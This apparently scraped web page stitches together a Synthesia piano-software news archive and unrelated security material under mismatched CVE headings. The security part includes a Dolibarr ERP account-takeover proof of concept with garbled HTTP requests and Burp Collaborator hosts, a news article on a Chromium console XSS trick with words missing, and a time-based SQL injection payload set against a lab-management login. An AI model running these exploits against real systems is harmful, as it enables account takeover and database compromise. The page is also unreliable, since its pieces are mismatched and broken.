Synthesia 10 adds dozens of major features!

*   Easy hand splitting for songs that were arranged as a single piano part.
*   A new Free Play area to experiment with notes, instruments, and chords.
*   See the next loop before it starts! No more sudden jumps.
*   Recently played song list on the title screen for quick navigation.
*   Italian language support.
*   Much, much more...

Synthesia 9 lets more people play than ever!

*   Multiple languages! Choose between English, Spanish, French, German, Russian, Brazilian Portuguese, and Traditional Chinese.
*   Change Synthesia's window size anytime you like.
*   Press Alt-Enter to toggle full-screen mode on any monitor.
*   Support for the new Synthesia Music Store.

Synthesia 8.6 gets things ready for the upcoming song store.

*   Lots of new metadata support for the upcoming song store.
*   Add your own background image using the configuration tool.
*   Click the score box to hide it.
*   The "Scale Number" label mode is back.
*   Over a dozen more bug fixes and improvements.

Synthesia 8.5 is a small release containing 21 bug fixes and an easier way to enter unlock keys.

There are too many improvements to list! Every single screen has been overhauled with new or improved features everywhere.

Synthesia for iPad

It's a natural fit. Put your iPad right on your keyboard's music stand.

Synthesia for iPad makes no compromises: every feature you love on the desktop has made the transition smoothly. Connect your keyboard or play using the touchscreen.

Improved On-Screen Keyboard

The menus aren't the only thing that have been improved. The keyboard and falling notes have never looked this good before.

The new graphics have been accurately modeled from a real piano. Pan left or right by dragging in the falling note area. Zoom in or out smoothly by pinching on the iPad or using the zoom menu on the desktop.

Color Themes

Not ready for so much change? Head over to the Color Themes section under Settings and switch over to the "Synthesia Classic" theme.

You can make your own themes, too. Check out the new modding forum for details. Then share your color theme with others.

So Much More...

Multiple input/output device support, smooth-scrolling song library, user profile statistics, song library auto-grouping by folder, lots of new options, helpful prompts throughout all the menus, redesigned advanced song settings, and the list keeps going!

May 16 2012

**Tips for Synthesia Songwriters**

Do you create your own songs to share with others using Synthesia?

Check out this guide that shows a few easy steps to get the most out of Synthesia's features with your own songs:

Creating Great Content for Synthesia

In just a few minutes you'll be able to add extended metadata, include finger hints, enable the simple song view, create links on your site that will open Synthesia in a single click, and more!

Apr 5 2012

**Synthesia 0.8.3**

The new song progress tracking feature is Synthesia's best feature ever. Grab Synthesia 0.8.3 now to get it along with a dozen or so new features.

Stay Motivated, Track Your Progress

Let Synthesia guide you through the process of learning every song. The new song progress metric lets you to set personal goals and watch them become realized.

Whenever you play a song, you have a chance at proving how far you've progressed in that song.

This is my new personal favorite feature.

It's Just You and the Music

Synthesia 0.8.3 brings a new, cleaner play screen. All of the clutter has been tucked into a menu at the top of the screen.

With fewer distractions and a display much friendlier to lower-resolution screens, it's just you and your music.

Launch Synthesia From Your Browser

After you run Synthesia 0.8.3 for the first time, you are ready to launch songs in a single click. Try it out: Bach Chorale.

Want to create your own Synthesia links for your website or YouTube videos? Use the Synthesia Song Link Generator tool.

New Scale and Arpeggio Exercises

Try out the new exercises by Ash from the forums. Each exercise is split into separate hands and includes finger hints. You'll find them in the song library under "Ash's Exercises".

Nov 7 2011

**Synthesia 0.8.2**

With keyboard navigation, huge improvements to the sheet display, and dozens of quality of life improvements, Synthesia 0.8.2 is the biggest release ever.

Control Everything with Your Keyboard

Customize all song controls. Fast-forward and rewind with your pitch bend wheel. Pause the song with your lowest note. Change the speed with your modulation wheel.

The sky is the limit.

Dramatically Improved Sheet Music

Follow along smoother than ever with new note and measure highlighting. Never lose your place with an easier to follow page-turn effect.

Synthesia's sheet music now supports key signatures, time signatures, staccato notes, crowded notes, better clef detection, smarter spacing, crisper staff and bar lines, and still more.

And More...

*   Keyboard settings are remembered much smarter between sessions.
*   Windowed mode on the Mac along with a better Mac install experience.
*   Automatically pause when a keyboard connection is lost.
*   Dozens of other tweaks and fixes.

Jun 6 2011

**Synthesia 0.8.1**

What's new in 0.8.1:

*   Add finger number hints to your songs in a single click. (video)
*   Finger hints included for all 100+ built-in songs.
*   Simplified track settings let you jump in fast.
*   Improved library searching to find your favorite songs quicker.
*   Many improvements in MIDI, device, and computer compatibility.
*   Tons of tweaks and fixes.

Dec 16 2010

**Synthesia on _Strictly Come Dancing_**

_Strictly Come Dancing_ is the original UK version of _Dancing with the Stars_. Each year the show puts the trainers through a crazy challenge. This season, Synthesia's falling note display was combined with a giant floor piano in the "ITT Grand Piano Challenge".

They kind of threw them to the wolves by only giving the trainers one attempt and not letting them practice ahead of time.

Check out the final two performances and award ceremony from the show.

Nov 13 2010

**Synthesia 0.8.0**

What's new in 0.8.0:

*   Named profiles. See your name next to your scores after playing locally or online. Compete against friends.
*   Many settings can now be changed during gameplay.
*   The beginnings of a new look...
*   A handful of fixes and other tweaks.

Oct 8 2010

**Synthesia 0.7.5**

What's new in _0.7.5_:

*   Competition-ready songs and scoring.
*   Revamped track settings saves time with copy and paste settings.
*   Better song library performance, especially with big collections.
*   Several tweaks and improvements to all play modes.

Sep 1 2010

**Synthesia 0.7.4**

This month we have a few things I've wanted to include forever now.

What's new in _0.7.4_:

*   Lighted keyboard support: the next note will light up while stopped in practice mode. Turn it on via the Keyboard Setup screen.
*   Improved note labels: new mode, more accurate, and easier to read.
*   New configuration tool with windowed mode and resolution picker.
*   Improved looping: easier to use, easier to find, better feedback.
*   A number of stability and other bug fixes.

Aug 1 2010

**Synthesia 0.7.3**

The long-awaited metronome is available at last. Lots of other great engine work made it in to prepare for the upcoming online scoreboard.

What's new in _0.7.3_:

*   Metronome. Control the speed, volume, and style. Works with simple, compound, and even changing time signatures.
*   Have fun with instruments. Click a track's instrument icon to change.
*   Find songs faster. Search with the new song library filter box.
*   Create quick loops between bookmarks using the < and > keys.
*   Speed improvements. Gameplay now runs smoother than ever.

Jun 30 2010

**Synthesia 0.7.2**

Synthesia is moving full-speed ahead now. This is the first of six monthly releases that will run until the end of the year.

Check out what's new below, download the new version, and enjoy!

What's new in _0.7.2_:

*   Song looping: Create loops with one click to keep practicing those tough parts. Statistics are shown in real time detailing how you are improving.
*   Synthesia is now aware of smaller keyboards. Set your size on the keyboard screen and Synthesia will play notes outside your reach or move them closer so you can play them yourself.
*   Scoring revamp: hold notes for their full duration for maximum points!
*   Lots of other improvements and fixes.

May 30 2010

**Synthesia 0.7.1**

It's ready. This is an exciting time for the project. The 0.7.1 release is a great stepping-stone to the newly accelerated development schedule I've just started. Expect to see releases with more, released more often from here on out for the next six months!

In the meantime, check out what's new below, download the new version from the box on the left, and enjoy!

What's new in _0.7.1_:

*   Song Bookmarks: place markers that let you jump right to those tough sections.
*   New play screen navigation: click the timeline to jump, the buttons to navigate, or the mouse-wheel while paused to scroll the song.
*   Your keyboard's sustain pedal will now hold the duration of notes.
*   Sheet music improvement: notes are much smarter about which staff to appear on.
*   Improved song library searching: type a song name to jump right there.
*   Better error reporting: crash report files help me jump right to the problem.
*   Tons of other improvements and bug fixes.

Sep 19 2009

**Synthesia 0.7.0**

I am proud to present the 0.7.0 release of Synthesia. Check out the feature list, download the new version from the box on the left, and enjoy!

What's new in _0.7.0_:

*   New _Song Library_ with audio previews and sorting by difficulty and rating.
*   More than _20 new songs_ and over _100 songs updated_ to split the left/right hand parts. (Thanks Choul, Rickeeey, and TieDyeGuy from the forums!)
*   Scoring for practice mode: now you can follow your progress.
*   Sheet music display improvements including rests and a fixed-width option.
*   An option to require all notes in a chord be pressed at the same time in practice mode.
*   Keyboard setup screen to help diagnose connection problems.
*   Lots of menus re-worked to make navigation easier and more intuitive.
*   New "View in Synthesia" right-click shortcut: a quick MIDI viewer.
*   Tons of other improvements, fixes, and optimizations!

Sep 19 2008

**Synthesia 0.6.5**

It's that time again. Here is the new 0.6.5 release of the game. There is lots of new stuff to check out, so download the new version from the box on the left and enjoy!

What's new in _0.6.5_:

*   Note and key labels (C, C#, D or Do, Re, Mi).
*   Resizeable sheet music display.
*   120+ new songs included from G Major Music Theory.
*   Faster startup and gameplay.
*   The usual assortment of bug fixes and improvements.

Jun 5 2008

**Synthesia 0.6.4**

I am very pleased to present both the new 0.6.4 release of Synthesia. Download the game from the box on the left and enjoy!

What's new in _0.6.4_:

*   Practice mode that waits for the correct notes.
*   Sheet music display with two display styles.
*   Measure lines in the falling notes.
*   Play-settings screen that gives more control over gameplay.
*   Several new options to tweak the display and a handful of bug fixes.

Jan 1 2008

**Synthesia 0.6.3**

What's new in _0.6.3_:

*   Zoom to song or 'You Play' extents so notes are easier to follow.
*   Option screen that allows some tweaking, most-important: play all user input.
*   Lots of bug fixes, new DirectX back-end to correct some issues.
*   A few visual updates.

This one is smaller than expected because the holidays were busier than I had hoped.

Aug 29 2007

**Synthesia 0.6.2**

New in version _0.6.2_ (August 29, 2007)

*   Rewind / fast-forward during songs.
*   Top scores list for each song you play.
*   Song and track settings are saved between plays.
*   New note spark effect.
*   A software keyboard so everyone can try it out.
*   Auto-splitting single-track MIDI songs to have one track per instrument.

Highlights coming up in version _0.6.3_ (December 31, 2007)

*   Sheet music display!
*   Zoom to your keyboard or song extents.
*   Tons of new built-in music and warm-up exercises.
*   Lots of display and game customization via new options screen.
*   Many new visual effects!

May 28 2007

**Synthesia 0.6.1**

_Synthesia 0.6.1_ is now available! Report any problems in the forum. Major changes:

*   External devices can now be selected for output in the Mac version.
*   The Mac version behaves much nicer now (after about a dozen bug fixes).
*   A couple Windows bugs were fixed.

Apr 30 2007

**Synthesia 0.6.0**

It's here! Download either the Windows or the new Mac version of Synthesia 0.6.0 to get improved graphics and performance.

Apr 25 2007

**Activision Cease and Desist**

I have received a cease and desist letter from Activision for the use of the name "Piano Hero". See the cease and desist page for details.

Quick summary: Choose a new name for the project and update the website/game. The 0.6.0 release (introducing Mac support) has been pushed back a week to April-30 to compensate.

Name Suggestions: 430 names (68 duplicates) with 6 images. Check out the complete list.

Winning Name: "Synthesia", suggested by Daniel Lawrence from England. It's an incredible name, thanks again Daniel!

(Check out Destructoid's article about this whole situation. It's funny.)

Feb 20 2007

**Synthesia 0.5.1**

MIDI input now plays back in the correct instrument, feedback and stats have been improved, there are now tooltips on each menu control, lots of bug fixes, a new installer, and a set of 10 fantastic songs from Game Music Themes! What are you waiting for?

Feb 14 2007

**Want a Mac version of Synthesia?**

Alright. You guys are awesome.

The response from just a couple of articles has been absolutely unbelievable and in a **single day** you donated more than enough for a Mac mini. So much, in fact, that I can get an iMac instead. You guys are really incredible, thank you! You will get your Mac version as promised!

Jan 26 2007

**Synthesia 0.5.0**

Synthesia 0.5.0 Released! MIDI input is now supported. Try to get the highest score and earn the best grade. Download Now!

Dec 9 2006

**Synthesia 0.4.0**

Want to learn how to play the piano? Synthesia is a fun way to play any kind of music including your favorite video game music, classical music, and holiday music. Check out the feature list, screenshots, and then download it.

**Features**

*   Supports any MIDI file.
*   Practice left or right hand parts separately.
*   Slow songs down while learning new parts.

**Work In Progress**

*   Real piano is required - no "software" keyboard is provided.
*   MIDI input not supported yet - just play along for now.
*   Without MIDI input, grading or scoring isn't possible.

CVE-2021-33897: Synthesia News Archive

Dolibarr Open Source ERP & CRM for Business before v14.0.1 allows attackers to escalate privileges via a crafted API.

**Dolibarr ERP 14.0.1 - Privilege Escalation**

**Platform:****PHP**

**Date:****2021-09-02**

  

    # Exploit Title: Dolibarr ERP/CRM 14.0.1 - Privilege Escalation
    # Date: April 8, 2021
    # Exploit Author: Vishwaraj101
    # Vendor Homepage: https://www.dolibarr.org/
    # Affected Version: <= 14.0.1
    # Patch: https://github.com/Dolibarr/dolibarr/commit/489cff46a37b04784d8e884af7fc2ad623bee17d
    
    *Summary:*
    Using the below chain of issues attacker can compromise any dolibarr
    user account including the admin.
    
    *Poc:*
    
       1. Visit https://example.com/api/index.php/login?login=demo&password=demo
       try to login with a test user with 0 permissons or less permissions.
       2. We will receive an api token in return.
       3. Next we need to fetch the user id of the user whose account we want
       to own.
    
    
    
    *First we need to fetch the user id of the admin user using the below api.*
    
    *Request1:*
    
    GET /api/index.php/users/login/admin HTTP/1.1Host:
    preview2.dolibarr.ohttps://preview2.dolibarr.org/api/index.php/users/login/adminrg
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    root@tqn9xk6rn6fq8x9ijbmpouosrjxan3srh.burpcollaborator.netAccept:
    application/json
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflateDOLAPIKEY: test1337Connection: close
    
    *This will return the user details using the username. Now update the
    victim user account via below api (include the json body received from the
    previous request1 and replace the email id from below json to the attacker
    controlled email)*
    
    
    *Request2:*PUT /api/index.php/users/*12* HTTP/1.1
    
    Host: preview2.dolibarr.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1;
    WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
    Safari/537.36 root@67bmexn44jw3paqv0o3257558wen5mwal.burpcollaborator.netAccept:
    application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip,
    deflateDOLAPIKEY: test1337Origin:
    https://preview2.dolibarr.orgConnection: closeReferer:
    http://5z5l6wf3wio2h9iusnv1x6x40v6mxkw8l.burpcollaborator.net/refContent-Length:
    3221
    {
        "id": "12",
        "statut": "1",
        "employee": "1",
        "civility_code": null,
        "gender": "woman",
        "birth": 495583200,
        "email": "*attacker@example.com <attacker@example.com>*",
        "personal_email": "",
        "socialnetworks": {
            "facebook": "",
            "skype": "",
            "twitter": "",
            "linkedin": "",
            "instagram": "",
            "snapchat": "",
            "googleplus": "",
            "youtube": "",
            "whatsapp": "",
            "tumblr": "",
            "vero": "",
            "viadeo": "",
            "slack": "",
            "xing": "",
            "meetup": "",
            "pinterest": "",
            "flickr": "",
            "500px": "",
            "giphy": "",
            "gifycat": "",
            "dailymotion": "",
            "vimeo": "",
            "periscope": "",
            "twitch": "",
            "discord": "",
            "wikipedia": "",
            "reddit": "",
            "quora": "",
            "tripadvisor": "",
            "mastodon": "",
            "diaspora": "",
            "viber": ""
        },
        "job": "Admin Technical",
        "signature": "",
        "address": "",
        "zip": "",
        "town": "",
        "state_id": null,
        "state_code": null,
        "state": null,
        "office_phone": "",
        "office_fax": "",
        "user_mobile": "",
        "personal_mobile": "",
        "admin": "1",
        "login": "admin",
        "entity": "0",
        "datec": 1507187386,
        "datem": 1617819214,
        "socid": null,
        "contact_id": null,
        "fk_member": null,
        "fk_user": "11",
        "fk_user_expense_validator": null,
        "fk_user_holiday_validator": null,
        "clicktodial_url": null,
        "clicktodial_login": null,
        "clicktodial_poste": null,
        "datelastlogin": 1617816891,
        "datepreviouslogin": 1617815935,
        "datestartvalidity": "",
        "dateendvalidity": "",
        "photo": "com.jpg",
        "lang": "fr_FR",
        "rights": {
            "user": {
                "user": {},
                "self": {}
            }
        },
        "conf": {},
        "users": [],
        "parentof": null,
        "accountancy_code": "",
        "weeklyhours": "39.00000000",
        "color": "",
        "dateemployment": "",
        "dateemploymentend": "",
        "default_c_exp_tax_cat": null,
        "default_range": null,
        "fk_warehouse": null,
        "import_key": null,
        "array_options": [],
        "array_languages": null,
        "linkedObjectsIds": null,
        "canvas": null,
        "fk_project": null,
        "contact": null,
        "thirdparty": null,
        "user": null,
        "origin": null,
        "origin_id": null,
        "ref": "12",
        "ref_ext": null,
        "status": null,
        "country": null,
        "country_id": null,
        "country_code": "",
        "region_id": null,
        "barcode_type": null,
        "barcode_type_code": null,
        "barcode_type_label": null,
        "barcode_type_coder": null,
        "mode_reglement_id": null,
        "cond_reglement_id": null,
        "demand_reason_id": null,
        "transport_mode_id": null,
        "cond_reglement": null,
        "modelpdf": null,
        "last_main_doc": null,
        "fk_bank": null,
        "fk_account": null,
        "note_public": "",
        "note_private": "",
        "note": "",
        "name": null,
        "lastname": "Adminson",
        "firstname": "Alice",
        "civility_id": null,
        "date_creation": null,
        "date_validation": null,
        "date_modification": null,
        "specimen": 0,
        "alreadypaid": null,
        "liste_limit": 0
    }
    
    This will reset the admin email account to the attacker controlled
    email account, now using the password reset feature attacker will
    reset the admin account password and will gain access to the admin
    account.

CVE-2022-43138: Offensive Security’s Exploit Database Archive

A case study on the complexity of browser security

A case study on the complexity of browser security

  

Malicious actors can stage cross-site scripting (XSS) attacks across the subdomains of a website if they can trick users of Chromium browsers into entering a simple JavaScript command in the developer console.

This is according to the findings of security researcher Michał Bentkowski who presented his findings in a blog post published yesterday (November 16) titled Google Roulette.

While the bug is hard to exploit and Google has decided not to patch it, it is an interesting case study on the complexities of browser security.

**Same-origin policy, site isolation**

Chromium browsers have several safeguards to prevent XSS attacks. The Same-Origin policy feature prevents scripts in one browser tab from accessing cookies and data from another domain.

The Site Isolation feature, on the other hand, gives a separate process to each domain to prevent different websites from accessing each other’s memory space in the browser.

However, it is worth noting that Same-Origin and Site Isolation do not apply to subdomains.

Therefore, two browser tabs that are on, say, https://workspace.google.com and https://developer.google.com will run on the same process and are considered to be of the same origin (google.com).

**Developer console scripts**

The browser’s protection mechanisms apply not only to on-page scripts but also to scripts running in the browser’s developer console. However, the developer console has access to certain extra functions that are not available to on-page scripts.

One of these functions is , which sets breakpoints on specific events, such as when a function is called.

Two things are interesting about . First, it has an optional argument that allows you to replace the breakpoint functionality with a custom JavaScript code. And second, when you use the developer console to define a event on a webpage, it persists across page refreshes and even carries to other subdomains of the same origin in the same tab.

DON’T MISS CSRF in Plesk API enabled server takeover

How does lead to XSS? First, Bentkowski set up a page that contained two malicious functions.

The first one is the XSS payload, which iterates across the subdomains of the current origin and runs a proof-of-concept script (in this case an popup).

The second one is a getter function called that defines a event for the function (which happens many times during a page load) and reloads the page.

Since needs to be explicitly called from the developer console, the page displays a message that prompts the user to call from the developer console. After that, the XSS cycle is triggered and goes through any number of subdomains defined in the payload function.

A video containing a proof-of-concept can be found here.

**Impact and fix**

“I see it more as an interesting technical bug than something exploitable in the real world,” Bentkowski told The Daily Swig. “In my opinion, the user interaction required by this attack makes it not really feasible for attackers.”

There are, however, two scenarios where this bug can become concerning, according to Bentkowski.

First are websites where users can create their own subdomains. In this case, a user can create a malicious page and trick visitors into triggering the XSS function on their own subdomain.

Read more of the latest browser security news

A second scenario is when there is an XSS vulnerability on one subdomain and the attacker wants to escalate it to others through the developer console.

Bentkowski reported the bug in 2020 and Google has apparently decided not to fix it. “The issue isn’t currently assigned to anyone so it doesn’t look like we can expect the patch soon,” Bentkowski said.

However, Google agreed to allow Bentkowski to make his findings public, telling him that since the bug is no longer exploitable via Chrome Extensions, it is no longer a security issue.

“I still think that there might be some ways to escalate it that I failed to discover, and maybe you, my dear readers, will have some better ideas,” Bentkowski wrote on his blog.

YOU MIGHT ALSO LIKE Mastodon users vulnerable to password-stealing attacks

Google Roulette: Developer console trick can trigger XSS in Chromium browsers

Online Diagnostic Lab Management System v1.0 was discovered to contain a SQL injection vulnerability via the username parameter at /diagnostic/login.php.

**Online Diagnostic Lab Management System v1.0 by mayuri\_k has SQL injection**

BUG\_Author: hujun

vendors:https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html

Vulnerability File: /diagnostic\_0/diagnostic/login.php

POST parameter 'username' exists delayed injection vulnerability

Payload1: username=12' AND (SELECT 2348 FROM (SELECT(SLEEP(5)))zxcv) AND 'bnm'='bnm&password=ab&login=

    POST /diagnostic_0/diagnostic/login.php HTTP/1.1
    Host: localhost
    Content-Length: 118
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/diagnostic_0/diagnostic/login.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: ci_session=pq7i0frcc6092gm4porg5cvqj5e9n54q; PHPSESSID=ngqgr9p2erqb85jg0veeql3i15
    Connection: close
    
    username=12%27+AND+%28SELECT+2348+FROM+%28SELECT%28SLEEP%285%29%29%29zxcv%29+AND+%27bnm%27%3D%27bnm&password=ab&login=
    

SELECT(SLEEP(5)), The server response time is 5 seconds

Payload2: username=12' AND (SELECT 2348 FROM (SELECT(SLEEP(10)))zxcv) AND 'bnm'='bnm&password=ab&login=

    POST /diagnostic_0/diagnostic/login.php HTTP/1.1
    Host: localhost
    Content-Length: 119
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/diagnostic_0/diagnostic/login.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: ci_session=pq7i0frcc6092gm4porg5cvqj5e9n54q; PHPSESSID=ngqgr9p2erqb85jg0veeql3i15
    Connection: close
    
    username=12%27+AND+%28SELECT+2348+FROM+%28SELECT%28SLEEP%2810%29%29%29zxcv%29+AND+%27bnm%27%3D%27bnm&password=ab&login=
    

SELECT(SLEEP(10)), The server response time is 10 seconds

Payload3: username=12' AND (SELECT 2348 FROM (SELECT(SLEEP(15)))zxcv) AND 'bnm'='bnm&password=ab&login=

    POST /diagnostic_0/diagnostic/login.php HTTP/1.1
    Host: localhost
    Content-Length: 119
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/diagnostic_0/diagnostic/login.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: ci_session=pq7i0frcc6092gm4porg5cvqj5e9n54q; PHPSESSID=ngqgr9p2erqb85jg0veeql3i15
    Connection: close
    
    username=12%27+AND+%28SELECT+2348+FROM+%28SELECT%28SLEEP%2815%29%29%29zxcv%29+AND+%27bnm%27%3D%27bnm&password=ab&login=
    

SELECT(SLEEP(15)), The server response time is 15 seconds

Tag

#chrome